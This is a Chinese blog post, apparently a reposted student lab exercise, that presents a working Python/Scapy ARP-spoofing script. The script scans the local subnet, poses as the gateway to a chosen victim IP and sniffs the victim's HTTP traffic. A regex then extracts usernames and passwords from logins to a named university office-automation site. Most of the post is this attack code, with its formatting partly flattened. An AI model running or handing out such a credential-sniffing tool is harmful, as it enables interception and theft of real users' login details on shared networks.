Python实现ARP欺骗
實驗目的:局域網段掃描,利用arp欺騙抓包獲取用戶名密碼,我選擇的是截獲被攻擊者登錄http://oa.nwu.edu.cn/網站的登錄信息;
:局域網上的一臺主機,如果接收到一個ARP報文,即使該報文不是該主機所發送的ARP請求的應答報文,該主機也會將ARP報文中的發送者的MAC地址和IP地址更新或加入到ARP表中。ARP欺騙攻擊就利用了這點,攻擊者主動發送ARP報文。通過不斷發送這些偽造的ARP報文,讓局域網上所有的主機和網關ARP表,其對應的MAC地址均為攻擊者的MAC地址,這樣所有的網絡流量都會發送給攻擊者主機。
ARP攻擊的兩種類型:
主機型ARP欺騙:
2、網關型ARP欺騙:
實驗步驟:
其中,主要用到的語法公式如下:
pack=Ether(src=攻擊者MAC地址,dst=目標MAC地址)/ARP(hwsrc=攻擊者MAC地址,psrc=要假裝誰就是誰的IP地址,hwdst=目標MAC地址,pdst=目標IP地址)
1、局域網掃描:找到當前局域網內活躍的主機,代碼如下:
def scan():ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/16'),timeout=1)print('一共掃描到%d個主機:'%len(ans))print(ans)SR()函數用來來發送數據包和接收響應,他會返回兩個列表數據,一個是answer list 另一個是unanswered list;
2、ARP攻擊:此次攻擊使用多進程,每隔0.2s發一次arp攻擊,攻擊者偽裝成網關,截獲被攻擊主機的TCP請求報文,通過爬蟲,輸出用戶名以及密碼;
發送ARP攻擊數據包代碼如下:
#局域網段掃描,抓包獲取密碼 author=肖俊怡import time import re import os from scapy.all import * from threading import Thread#定義變量函數 wifi = 'Intel(R) Dual Band Wireless-AC 7265' rtable = os.popen('route print').read() #print(rtable) #注意將列表轉為字符串 getway = re.findall(r'0\.0\.0\.0\s+0\.0\.0\.0\s+(\S+)\s',rtable)[0] #print(getway)#局域網掃描 def scan():#SR()函數用來來發送數據包和接收響應,他會返回兩個列表數據,一個是answer list 另一個是unanswered list #公式:pack=Ether(src=攻擊者MAC地址,dst=目標MAC地址)/ARP(hwsrc=攻擊者MAC地址,psrc=要假裝誰就是誰的IP地址,hwdst=目標MAC地址,pdst=目標IP地址,op=2)ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/24'),timeout=1)print('一共掃描到%d個主機:'%len(ans))for i in ans:print(i)#找用戶名和密碼 def paw(p):try:if p.haslayer(Raw):ss=p.load.decode()result=re.findall(r'userName=(.+)&passWord=(.+)',ss)if result:print('user:',result[0][0])print('pass:',result[0][1])except:pass#抓包 def capture(tip,tcap):#冒充自己為網關pkts=sniff(iface=wifi,timeout=tcap,filter='tcp port 80 and src host %s'%tip,prn=paw)#arp欺騙攻擊 def arpspoof(tip,tcap):t = Thread(target=capture,args=(tip,tcap))t.start()for i in range(tcap*5):sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=getway))time.sleep(0.2)if __name__ == '__main__':scan()target = input('輸入要攻擊的ip地址:').strip()tl = int(input('輸入要準備攻擊的時間:').strip())arpspoof(target,tl)print('攻擊結束!')恩恩~~就醬紫啦!!!
總結
以上是生活随笔為你收集整理的Python实现ARP欺骗的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python网络爬虫理解
- 下一篇: Powershell基础(一)